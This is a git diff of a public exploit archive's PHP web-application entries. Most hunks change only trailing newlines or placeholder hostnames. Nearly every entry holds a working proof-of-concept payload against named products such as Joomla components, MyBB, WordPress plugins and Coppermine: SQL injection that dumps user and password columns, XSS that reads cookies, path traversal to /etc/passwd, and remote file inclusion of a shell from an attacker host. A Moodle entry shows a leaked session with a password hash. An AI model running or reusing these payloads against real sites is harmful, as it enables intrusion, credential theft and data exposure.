--- a/platforms/php/webapps/3508.txt +++ b/platforms/php/webapps/3508.txt @@ -26,12 +26,12 @@ webhosts), yet it can scale from a single-teacher site to a --/ REPRODUCE -- -The moodle CMS is located at 'server/moodle' and the moodle -database at 'server/moodledata' including uploads, temp and +The moodle CMS is located at 'www.TARGET.com/moodle' and the moodle +database at 'www.TARGET.com/moodledata' including uploads, temp and session files. We're interested to get the session files, created by each user: -http://server/moodledata/sessions/ +http://www.TARGET.com/moodledata/sessions/ Filename: @@ -40,18 +40,18 @@ sess_280c9fca6458bf24277cf03c45d2a770 Content: (> 2KB) SESSION|O:6:"object":12:{s:12:"session_test";s:10:"zN0PiMhwWK";s:8:"encoding"; -s:10:"iso-8859-1";s:7:"fromurl";s:69:"http://server/moodle/mod/forum/ +s:10:"iso-8859-1";s:7:"fromurl";s:69:"http://www.TARGET.com/moodle/mod/forum/ view.php?id=100";s:10:"logincount";i:1;s:18:"cal_course_referer";i:0;s:15:"cal _show_global";b:1;s:15:"cal_show_groups";b:1;s:15:"cal_show_course";b:1;s:13:" cal_show_user";b:1;s:17:"cal_courses_shown";a:2:{i:1;b:1;i:9;b:1;}s:15:"cal_u -sers_shown";s:2:"86";s:14:"fromdiscussion";s:64:"http://server/moodle/ +sers_shown";s:2:"86";s:14:"fromdiscussion";s:64:"http://www.TARGET.com/moodle/ course/view.php?id=9";}USER|O:8:"stdClass":94:{i:0;s:2:"86";s:2:"id";s:2:"86"; i:1;s:5:"email";s:4:"auth";s:5:"email";i:2;s:1:"1";s:9:"confirmed";s:1:"1";i: 3;s:1:"0";s:12:"policyagreed";s:1:"0";i:4;s:1:"0";s:7:"deleted";s:1:"0";i:5;s: -33:"victim@server";s:8:"username";s:33:"victim@server";i:6;s:32:"bb07c +33:"victim@target.com";s:8:"username";s:33:"victim@target.com";i:6;s:32:"bb07c 989b57c25fd7e53395c3e118185";s:8:"password";s:32:"bb07c989b57c25fd7e53395c3e118185"; i:7;N;s:8:"idnumber";N;i:8;s:9:"Victim";s:9:"firstname";s:9:"Victim";i:9;s:5: -"Victim";s:8:"lastname";s:5:"Victim";i:10;s:33:"victim@server";s:5:"email"; +"Victim";s:8:"lastname";s:5:"Victim";i:10;s:33:"victim@target.com";s:5:"email"; In cryptography, MD5 (Message-Digest algorithm 5) is a widely-used cryptographic diff --git a/platforms/php/webapps/35084.txt b/platforms/php/webapps/35084.txt index 4e1bf7781..b7dc2e681 100755 --- a/platforms/php/webapps/35084.txt +++ b/platforms/php/webapps/35084.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Twitter Feed 0.3.1 is vulnerable; other versions may also be affected. -http://www.example.com/wordpress/wp-content/plugins/wp-twitter-feed/magpie/scripts/magpie_debug.php?url=%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file +http://www.example.com/wordpress/wp-content/plugins/wp-twitter-feed/magpie/scripts/magpie_debug.php?url=%3Cscript%3Ealert(0)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35087.txt b/platforms/php/webapps/35087.txt index 1d4454e52..0d044894f 100755 --- a/platforms/php/webapps/35087.txt +++ b/platforms/php/webapps/35087.txt @@ -6,4 +6,4 @@ An attacker can exploit these issues to obtain sensitive information; other atta net2ftp 0.98 stable is vulnerable; other versions may also be affected. -http://www.example.com/skins/mobile/admin1.template.php?net2ftp_globals[application_skinsdir]=evilevilevil \ No newline at end of file +http://www.example.com/skins/mobile/admin1.template.php?net2ftp_globals[application_skinsdir]=evilevilevil \ No newline at end of file diff --git a/platforms/php/webapps/35088.txt b/platforms/php/webapps/35088.txt index 036e325c3..ad78777a0 100755 --- a/platforms/php/webapps/35088.txt +++ b/platforms/php/webapps/35088.txt @@ -4,4 +4,4 @@ PHP State is prone to an SQL-injection vulnerability because the application fai A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/state.php?id=37+union+select+1,2,3,4,5,6,7,concat_ws (0x3a,user(),database(),versi(),@version_compile_os),8,9,10,11- josalijoe - \ No newline at end of file +http://www.example.com/state.php?id=37+union+select+1,2,3,4,5,6,7,concat_ws (0x3a,user(),database(),versi(),@version_compile_os),8,9,10,11- josalijoe - \ No newline at end of file diff --git a/platforms/php/webapps/35089.txt b/platforms/php/webapps/35089.txt index 460f4d236..7a3393946 100755 --- a/platforms/php/webapps/35089.txt +++ b/platforms/php/webapps/35089.txt @@ -4,4 +4,4 @@ Joomla Jeformcr is prone to an SQL-injection vulnerability because it fails to s Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_jeformcr&view=form&id=[SQLi] \ No newline at end of file +http://www.example.com/index.php?option=com_jeformcr&view=form&id=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/35090.txt b/platforms/php/webapps/35090.txt index 9ee07820c..3f461b86d 100755 --- a/platforms/php/webapps/35090.txt +++ b/platforms/php/webapps/35090.txt @@ -4,4 +4,4 @@ JExtensions Property Finder is prone to an SQL-injection vulnerability because i Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/index.php?option=com_jesectionfinder&view=sectiondetail&sf_id=[EXPLOIT] \ No newline at end of file +http://www.example.com/index.php?option=com_jesectionfinder&view=sectiondetail&sf_id=[EXPLOIT] \ No newline at end of file diff --git a/platforms/php/webapps/35094.txt b/platforms/php/webapps/35094.txt index 87a2658a5..5819c9ac1 100755 --- a/platforms/php/webapps/35094.txt +++ b/platforms/php/webapps/35094.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow slickMsg 0.7-alpha is vulnerable; other versions may also be affected. -http://www.example.com/slickmsg/views/Thread/display/top.php?title=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E \ No newline at end of file +http://www.example.com/slickmsg/views/Thread/display/top.php?title=%3Cscript%3Ealert%28%22XSS%22%29%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35097.txt b/platforms/php/webapps/35097.txt index e302406db..c8c21505d 100755 --- a/platforms/php/webapps/35097.txt +++ b/platforms/php/webapps/35097.txt @@ -6,4 +6,4 @@ An attacker can exploit this vulnerability to obtain potentially sensitive infor Joomla Redirect 1.5.19 is vulnerable; other versions may also be affected. -http://www.example.com/index.php?option=com_redirect&view=../../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/index.php?option=com_redirect&view=../../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/35106.txt b/platforms/php/webapps/35106.txt index 55a7d341c..7b8c6d601 100755 --- a/platforms/php/webapps/35106.txt +++ b/platforms/php/webapps/35106.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Cetera eCommerce version 14.0 is vulnerable; other versions may also be affected. -http://www.example.com/cms/templats/banner.php?bannerId=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com/cms/templats/banner.php?bannerId=%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/35108.txt b/platforms/php/webapps/35108.txt index bea4c72bf..9d5d35294 100755 --- a/platforms/php/webapps/35108.txt +++ b/platforms/php/webapps/35108.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow MyBB 1.6 is vulnerable; other versions may be also be affected. -http://www.example.com/tags.php?tag="><script>alert(String.fromCharCode(88,83,83))</script> \ No newline at end of file +http://www.example.com/tags.php?tag="><script>alert(String.fromCharCode(88,83,83))</script> \ No newline at end of file diff --git a/platforms/php/webapps/35109.txt b/platforms/php/webapps/35109.txt index 47df7f1b7..30fd37a8a 100755 --- a/platforms/php/webapps/35109.txt +++ b/platforms/php/webapps/35109.txt @@ -10,4 +10,4 @@ The following example URIs are available: http://www.example.com/topsites/rate.php?site=-999.9%27%20UNION%20ALL%20SELECT%20%28SELECT%20concat%280x7e,group_concat%28top_user.email,0x7e,top_user.password%29,0x7e%29%20FROM%20%60topfunsites_com_-_topsites%60.top_user%29%20,null%20and%20%27x%27=%27x -http://www.example.com/topsites/rate.php?site="'><script>alert('xss')</script> \ No newline at end of file +http://www.example.com/topsites/rate.php?site="'><script>alert('xss')</script> \ No newline at end of file diff --git a/platforms/php/webapps/35116.txt b/platforms/php/webapps/35116.txt index 8e1b60789..be1346b41 100755 --- a/platforms/php/webapps/35116.txt +++ b/platforms/php/webapps/35116.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow Versions prior to HP Insight Diagnostics Online Edition 8.5.1.3712 -http://www.example.com/hpdiags/frontend2/help/search.php?query="onmouseover="alert(1); \ No newline at end of file +http://www.example.com/hpdiags/frontend2/help/search.php?query="onmouseover="alert(1); \ No newline at end of file diff --git a/platforms/php/webapps/35118.txt b/platforms/php/webapps/35118.txt index 5a46d4d30..58c882506 100755 --- a/platforms/php/webapps/35118.txt +++ b/platforms/php/webapps/35118.txt @@ -4,4 +4,4 @@ phpRS is prone to an SQL-injection vulnerability because the application fails t A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/model-kits.php?akce=model&nazev=zis-3-1942-divisional-gun&id=-32/**/union/**/select/**/1,concat%28user,0x3a,password%29,3,4,5/**/from/**/mac_user-- \ No newline at end of file +http://www.example.com/model-kits.php?akce=model&nazev=zis-3-1942-divisional-gun&id=-32/**/union/**/select/**/1,concat%28user,0x3a,password%29,3,4,5/**/from/**/mac_user-- \ No newline at end of file diff --git a/platforms/php/webapps/3512.txt b/platforms/php/webapps/3512.txt index d6d0fbbc9..983e414f3 100755 --- a/platforms/php/webapps/3512.txt +++ b/platforms/php/webapps/3512.txt @@ -32,7 +32,7 @@ substr($file,-4)!=".php"){ ###################################################### # # exploit : -http://www.example.com/nuke_path/iframe.php?file=ftp://user:pass@evilserver/public_html/shell.html (or) .htm +http://www.example.com/nuke_path/iframe.php?file=ftp://user:pass@evilsite.com/public_html/shell.html (or) .htm # ###################################################### diff --git a/platforms/php/webapps/35120.txt b/platforms/php/webapps/35120.txt index 3366b6044..d06def8df 100755 --- a/platforms/php/webapps/35120.txt +++ b/platforms/php/webapps/35120.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Radius Manager 3.6.0 is vulnerable; other versions may also be affected -http:///admin.php?cont=update_usergroup&id=1 POST /admin.php?cont=update_usergroup&id=1 HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http:///admin.php?cont=edit_usergroup&id=1 Cookie: PHPSESSID=fo1ba9oci06jjsqkqpvptftj43; login_admin=admin; online_ordercol=username; online_ordertype=ASC; listusers_ordercol=username; listusers_ordertype=DESC; listusers_lastorder=username Content-Type: application/x-www-form-urlencoded Content-Length: 120 name=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&descr=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&Submit=Update Request 2: http:///admin.php?cont=store_nas POST /admin.php?cont=store_nas HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http:///admin.php?cont=new_nas Cookie: PHPSESSID=fo1ba9oci06jjsqkqpvptftj43; login_admin=admin; online_ordercol=username; online_ordertype=ASC; listusers_ordercol=username; listusers_ordertype=DESC; listusers_lastorder=username Content-Type: application/x-www-form-urlencoded Content-Length: 112 name=Name&nasip=10.0.0.1&type=0&secret=1111&descr=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&Submit=Add+NAS \ No newline at end of file +http:///admin.php?cont=update_usergroup&id=1 POST /admin.php?cont=update_usergroup&id=1 HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http:///admin.php?cont=edit_usergroup&id=1 Cookie: PHPSESSID=fo1ba9oci06jjsqkqpvptftj43; login_admin=admin; online_ordercol=username; online_ordertype=ASC; listusers_ordercol=username; listusers_ordertype=DESC; listusers_lastorder=username Content-Type: application/x-www-form-urlencoded Content-Length: 120 name=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&descr=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&Submit=Update Request 2: http:///admin.php?cont=store_nas POST /admin.php?cont=store_nas HTTP/1.1 Host: User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.6; en-US; rv:1.9.2.10) Gecko/20100914 Firefox/3.6.10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 Keep-Alive: 115 Connection: keep-alive Referer: http:///admin.php?cont=new_nas Cookie: PHPSESSID=fo1ba9oci06jjsqkqpvptftj43; login_admin=admin; online_ordercol=username; online_ordertype=ASC; listusers_ordercol=username; listusers_ordertype=DESC; listusers_lastorder=username Content-Type: application/x-www-form-urlencoded Content-Length: 112 name=Name&nasip=10.0.0.1&type=0&secret=1111&descr=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E&Submit=Add+NAS \ No newline at end of file diff --git a/platforms/php/webapps/35122.txt b/platforms/php/webapps/35122.txt index c35653cb9..f476152bd 100755 --- a/platforms/php/webapps/35122.txt +++ b/platforms/php/webapps/35122.txt @@ -4,4 +4,4 @@ Social Share is prone to an SQL-injection vulnerability because the application A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/socialshare/postview.php? postid=-1 union select 1,2,3,4,5,6,7,8,9,10# \ No newline at end of file +http://www.example.com/socialshare/postview.php? postid=-1 union select 1,2,3,4,5,6,7,8,9,10# \ No newline at end of file diff --git a/platforms/php/webapps/35123.txt b/platforms/php/webapps/35123.txt index d5d9c76bf..e939f6910 100755 --- a/platforms/php/webapps/35123.txt +++ b/platforms/php/webapps/35123.txt @@ -4,4 +4,4 @@ Mafya Oyun Scrpti is prone to an SQL-injection vulnerability because the applica A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/profil.php?id=[SQL] \ No newline at end of file +http://www.example.com/profil.php?id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/35124.txt b/platforms/php/webapps/35124.txt index 21715cbe5..8d153a074 100755 --- a/platforms/php/webapps/35124.txt +++ b/platforms/php/webapps/35124.txt @@ -9,4 +9,4 @@ FreeNAS 0.7.2.5543 is vulnerable; other versions may also be affected. http://www.example.com/quixplorer/index.php?action=list&order=name&srt=yes&lang=en%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3E -http://www.example.com/quixplorer/index.php?action=list&order=nan%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3Eme&srt=yes \ No newline at end of file +http://www.example.com/quixplorer/index.php?action=list&order=nan%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3Eme&srt=yes \ No newline at end of file diff --git a/platforms/php/webapps/35125.txt b/platforms/php/webapps/35125.txt index 4712aaf1c..d5ae7e5a0 100755 --- a/platforms/php/webapps/35125.txt +++ b/platforms/php/webapps/35125.txt @@ -4,4 +4,4 @@ Openfiler is prone to a cross-site scripting vulnerability because it fails to s An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/admin/system.html?step=2&device=et%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3Ebh0 \ No newline at end of file +http://www.example.com/admin/system.html?step=2&device=et%22/%3E%3Cscript%3Ealert%281%29;%3C/script%3Ebh0 \ No newline at end of file diff --git a/platforms/php/webapps/35126.txt b/platforms/php/webapps/35126.txt index 43b3e06a1..f7de482b9 100755 --- a/platforms/php/webapps/35126.txt +++ b/platforms/php/webapps/35126.txt @@ -7,4 +7,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Habari 0.6.5 is affected; other versions may be vulnerable as well. http://www.example.com/system/admin/dash_status.php?status_data[1]=<script>alert('XSS');</script> -http://www.example.com/system/admin/dash_additem.php?additem_form=<script>alert('XSS');</script> \ No newline at end of file +http://www.example.com/system/admin/dash_additem.php?additem_form=<script>alert('XSS');</script> \ No newline at end of file diff --git a/platforms/php/webapps/35131.txt b/platforms/php/webapps/35131.txt index 2099fd88e..824774a09 100755 --- a/platforms/php/webapps/35131.txt +++ b/platforms/php/webapps/35131.txt @@ -8,4 +8,4 @@ The following example input is available: Username: anytext' or verified=1# -Password: arbitrary_text \ No newline at end of file +Password: arbitrary_text \ No newline at end of file diff --git a/platforms/php/webapps/35133.txt b/platforms/php/webapps/35133.txt index 17ec5ca25..c8f86902d 100755 --- a/platforms/php/webapps/35133.txt +++ b/platforms/php/webapps/35133.txt @@ -13,4 +13,4 @@ http://www.example.com/show_image_NpAdvFeaThumb.php?cache=false&cat=1&filename=/ http://www.example.com/show_image_NpAdvSecondaryRight.php?cache=false&cat=1&filename=/../../../../../../etc/hosts http://www.example.com/show_image_NpAdvSideFea.php?cache=false&cat=1&filename=/../../../../../../etc/hosts http://www.example.com/show_image_NpAdvSinglePhoto.php?cache=false&cat=1&filename=/../../../../../../etc/hosts -http://www.example.com/show_image_NpAdvSubFea.php?cache=false&cat=1&filename=/../../../../../../etc/hosts \ No newline at end of file +http://www.example.com/show_image_NpAdvSubFea.php?cache=false&cat=1&filename=/../../../../../../etc/hosts \ No newline at end of file diff --git a/platforms/php/webapps/35135.txt b/platforms/php/webapps/35135.txt index 25bd65558..7a69a3663 100755 --- a/platforms/php/webapps/35135.txt +++ b/platforms/php/webapps/35135.txt @@ -4,4 +4,4 @@ The Classified component for Joomla! is prone to an SQL-injection vulnerability Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. -http://www.example.com/classified-demo/index.php?option=com_classified&view=ads&name=[SQLi] \ No newline at end of file +http://www.example.com/classified-demo/index.php?option=com_classified&view=ads&name=[SQLi] \ No newline at end of file diff --git a/platforms/php/webapps/35137.txt b/platforms/php/webapps/35137.txt index 280c0a97f..8aed50966 100755 --- a/platforms/php/webapps/35137.txt +++ b/platforms/php/webapps/35137.txt @@ -10,4 +10,4 @@ Vulnerable code: $referrer = $_SERVER[HTTP_REFERER]; header("Location: $referrer HTTP query ("Referer" field): -Referer: http://www.example.com/\r\n[second new response] \ No newline at end of file +Referer: http://www.example.com/\r\n[second new response] \ No newline at end of file diff --git a/platforms/php/webapps/35142.txt b/platforms/php/webapps/35142.txt index ed1f8a96c..4af33db7c 100755 --- a/platforms/php/webapps/35142.txt +++ b/platforms/php/webapps/35142.txt @@ -4,4 +4,4 @@ Social Share is prone to a cross-site scripting vulnerability because it fails t An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks. -http://www.example.com/socialshare/search.php?search=<XSS> \ No newline at end of file +http://www.example.com/socialshare/search.php?search=<XSS> \ No newline at end of file diff --git a/platforms/php/webapps/35143.txt b/platforms/php/webapps/35143.txt index ddf990560..857260727 100755 --- a/platforms/php/webapps/35143.txt +++ b/platforms/php/webapps/35143.txt @@ -4,4 +4,4 @@ HotWeb Scripts HotWeb Rentals is prone to an SQL-injection vulnerability because A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/default.asp?PageId=-15+union+select+11,22,33,44,55,66,77,88,99+from+users \ No newline at end of file +http://www.example.com/default.asp?PageId=-15+union+select+11,22,33,44,55,66,77,88,99+from+users \ No newline at end of file diff --git a/platforms/php/webapps/35145.txt b/platforms/php/webapps/35145.txt index 7c38bbd35..6cc8ff0f1 100755 --- a/platforms/php/webapps/35145.txt +++ b/platforms/php/webapps/35145.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce Pligg CMS 1.1.3 is vulnerable; other versions may also be affected. -http://www.example.com/cloud.php?range={SQL} \ No newline at end of file +http://www.example.com/cloud.php?range={SQL} \ No newline at end of file diff --git a/platforms/php/webapps/35157.html b/platforms/php/webapps/35157.html index 3c61c3656..8daaca43f 100755 --- a/platforms/php/webapps/35157.html +++ b/platforms/php/webapps/35157.html @@ -6,4 +6,4 @@ An attacker may leverage these issues to execute arbitrary script code in the br Coppermine Photo Gallery 1.5.10 is vulnerable; other versions may also be affected. -<html><body><center> <form action="http://localhost/cpg.1.5.10/searchnew.php" method="post"> <input type="hidden" name="insert" value="1"> <input type="hidden" name="pics[]" value="222"> <input type="hidden" name="picfile_222" value="PGJvZHkgb25sb2FkPWFsZXJ0KDEyMyk7Pg"> <input type="submit" value="Test!"> </form> </center></body></html> \ No newline at end of file +<html><body><center> <form action="http://localhost/cpg.1.5.10/searchnew.php" method="post"> <input type="hidden" name="insert" value="1"> <input type="hidden" name="pics[]" value="222"> <input type="hidden" name="picfile_222" value="PGJvZHkgb25sb2FkPWFsZXJ0KDEyMyk7Pg"> <input type="submit" value="Test!"> </form> </center></body></html> \ No newline at end of file diff --git a/platforms/php/webapps/3516.php b/platforms/php/webapps/3516.php index 77e015c90..d3c8684bb 100755 --- a/platforms/php/webapps/3516.php +++ b/platforms/php/webapps/3516.php @@ -90,7 +90,7 @@ function usage() { echo "+----------------------------------------------------------------+\r\n"; echo "| MetaForum <= 0.513_beta Remote file upload |\r\n"; echo "| By Gu1ll4um3r0m41n for AeroX & NeoAlpha |\r\n"; - echo "| Usage: php exploit.php server /path/ user pass cookie_prefix |\r\n"; + echo "| Usage: php exploit.php site.com /path/ user pass cookie_prefix |\r\n"; echo "+----------------------------------------------------------------+\r\n"; } function head() { diff --git a/platforms/php/webapps/35165.txt b/platforms/php/webapps/35165.txt index 8c6bcb6c7..8ad8ed2b3 100755 --- a/platforms/php/webapps/35165.txt +++ b/platforms/php/webapps/35165.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce WikLink 0.1.3 is vulnerable; other versions may also be affected. -http://www.example.com/wiklink/getURL.php?id=-1' union select 1111/* \ No newline at end of file +http://www.example.com/wiklink/getURL.php?id=-1' union select 1111/* \ No newline at end of file diff --git a/platforms/php/webapps/35167.txt b/platforms/php/webapps/35167.txt index 39e0b8e61..c1ee08de9 100755 --- a/platforms/php/webapps/35167.txt +++ b/platforms/php/webapps/35167.txt @@ -4,4 +4,4 @@ The Joomla! Search component is prone to a cross-site-scripting vulnerability be An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/joomla1015/index.php?option=com_search&searchword=xss&searchphrase=any&ordering=newest%22%20onmousemove=alert%28document.cookie%29%20style=position:fixed;top:0;left:0;width:100%;height:100%;% \ No newline at end of file +http://www.example.com/joomla1015/index.php?option=com_search&searchword=xss&searchphrase=any&ordering=newest%22%20onmousemove=alert%28document.cookie%29%20style=position:fixed;top:0;left:0;width:100%;height:100%;% \ No newline at end of file diff --git a/platforms/php/webapps/35185.txt b/platforms/php/webapps/35185.txt index 37cb8229f..99ae63da9 100755 --- a/platforms/php/webapps/35185.txt +++ b/platforms/php/webapps/35185.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow WonderCMS 0.3.3 is vulnerable; prior versions may also be affected. -http://www.example.com/editText.php?fieldname=slogan&content=slogan<img src=x onerror=alert("XSS")> \ No newline at end of file +http://www.example.com/editText.php?fieldname=slogan&content=slogan<img src=x onerror=alert("XSS")> \ No newline at end of file diff --git a/platforms/php/webapps/35186.txt b/platforms/php/webapps/35186.txt index cda631ead..c07c87b20 100755 --- a/platforms/php/webapps/35186.txt +++ b/platforms/php/webapps/35186.txt @@ -7,4 +7,4 @@ A successful exploit could allow an attacker to compromise the application, acce WikLink 0.1.3 is vulnerable; other versions may also be affected. http://www.example.com/editCategory.php?action=edit&fold=9999'%20union%20select%201,2,3,4/* -http://www.example.com/editSite.php?action=edit&site=999'%20union%20select%201,2,3,4,5/* \ No newline at end of file +http://www.example.com/editSite.php?action=edit&site=999'%20union%20select%201,2,3,4,5/* \ No newline at end of file diff --git a/platforms/php/webapps/35191.txt b/platforms/php/webapps/35191.txt index a83e08375..9451f6f19 100755 --- a/platforms/php/webapps/35191.txt +++ b/platforms/php/webapps/35191.txt @@ -4,4 +4,4 @@ CMS Tovar is prone to an SQL-injection vulnerability because the application fai A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/tovar.php?id=-294+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user())josalijoe,6,7,8,9-- \ No newline at end of file +http://www.example.com/tovar.php?id=-294+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user())josalijoe,6,7,8,9-- \ No newline at end of file diff --git a/platforms/php/webapps/35227.txt b/platforms/php/webapps/35227.txt index 00022b2f0..93913853c 100755 --- a/platforms/php/webapps/35227.txt +++ b/platforms/php/webapps/35227.txt @@ -12,4 +12,4 @@ POST /alguest/elimina.php HTTP/1.0 Host: website Cookie: admin=1 Content-Length: N -send=elimina&elimina=[SQL Injection] \ No newline at end of file +send=elimina&elimina=[SQL Injection] \ No newline at end of file diff --git a/platforms/php/webapps/35228.txt b/platforms/php/webapps/35228.txt index 7991de679..4c40131df 100755 --- a/platforms/php/webapps/35228.txt +++ b/platforms/php/webapps/35228.txt @@ -7,4 +7,4 @@ Attacker-supplied script code may be executed in the context of the affected sit CompactCMS 1.4.1 is vulnerable; other versions may also be affected. http://www.example.com/afdrukken.php?page=">[XSS] -http://www.example.com/admin/includes/modules/permissions/permissions.Manage.php?status=notice&msg=[XSS] \ No newline at end of file +http://www.example.com/admin/includes/modules/permissions/permissions.Manage.php?status=notice&msg=[XSS] \ No newline at end of file diff --git a/platforms/php/webapps/35231.txt b/platforms/php/webapps/35231.txt index 799ff7fc2..1bc8bb5cf 100755 --- a/platforms/php/webapps/35231.txt +++ b/platforms/php/webapps/35231.txt @@ -6,4 +6,4 @@ A successful exploit may allow an attacker to compromise the application, access AWBS 2.9.2 is vulnerable; other versions may also be affected. -http://www.example.com/cart?ca=add_other&oid=1'%20AND%20SLEEP(100)=' \ No newline at end of file +http://www.example.com/cart?ca=add_other&oid=1'%20AND%20SLEEP(100)=' \ No newline at end of file diff --git a/platforms/php/webapps/35239.txt b/platforms/php/webapps/35239.txt index 9dfbe83ba..b6db916da 100755 --- a/platforms/php/webapps/35239.txt +++ b/platforms/php/webapps/35239.txt @@ -6,4 +6,4 @@ A successful exploit could allow an attacker to compromise the application, acce PHPCMS 2008 V2 is vulnerable; other versions may also be affected. -http://www.example.com/path/data.php?action=get&where_time=-1+union+all+select+1,database()-- \ No newline at end of file +http://www.example.com/path/data.php?action=get&where_time=-1+union+all+select+1,database()-- \ No newline at end of file diff --git a/platforms/php/webapps/3524.txt b/platforms/php/webapps/3524.txt index fb3260d1c..4ab091885 100755 --- a/platforms/php/webapps/3524.txt +++ b/platforms/php/webapps/3524.txt @@ -38,7 +38,7 @@ ###################################################### # # exploit : -http://www.example.com/nuke_path/htmltonuke.php?filnavn=ftp://user:pass@evilserver/public_html/shell.html (or) .htm +http://www.example.com/nuke_path/htmltonuke.php?filnavn=ftp://user:pass@evilsite.com/public_html/shell.html (or) .htm # ###################################################### diff --git a/platforms/php/webapps/35245.txt b/platforms/php/webapps/35245.txt index d682a0426..70e773ea4 100755 --- a/platforms/php/webapps/35245.txt +++ b/platforms/php/webapps/35245.txt @@ -4,4 +4,4 @@ PHPAuctions is prone to an SQL-injection vulnerability because the application f A successful exploit could allow an attacker to compromise the application, access or modify data, or exploit vulnerabilities in the underlying database. -http://www.example.com/viewfaqs.php?cat=2 and substring(version(),1,1)=5 \ No newline at end of file +http://www.example.com/viewfaqs.php?cat=2 and substring(version(),1,1)=5 \ No newline at end of file diff --git a/platforms/php/webapps/35253.txt b/platforms/php/webapps/35253.txt index a76809f3d..034185ba4 100755 --- a/platforms/php/webapps/35253.txt +++ b/platforms/php/webapps/35253.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow web@all 1.1 is vulnerable; other versions may also be affected. -http://www.example.com/weball/404.php?url=1%3Cscript%3Ealert%280%29%3C%2fscript%3E \ No newline at end of file +http://www.example.com/weball/404.php?url=1%3Cscript%3Ealert%280%29%3C%2fscript%3E \ No newline at end of file diff --git a/platforms/php/webapps/35254.txt b/platforms/php/webapps/35254.txt index 29971ca30..0fa998e30 100755 --- a/platforms/php/webapps/35254.txt +++ b/platforms/php/webapps/35254.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary script code in the brow PivotX 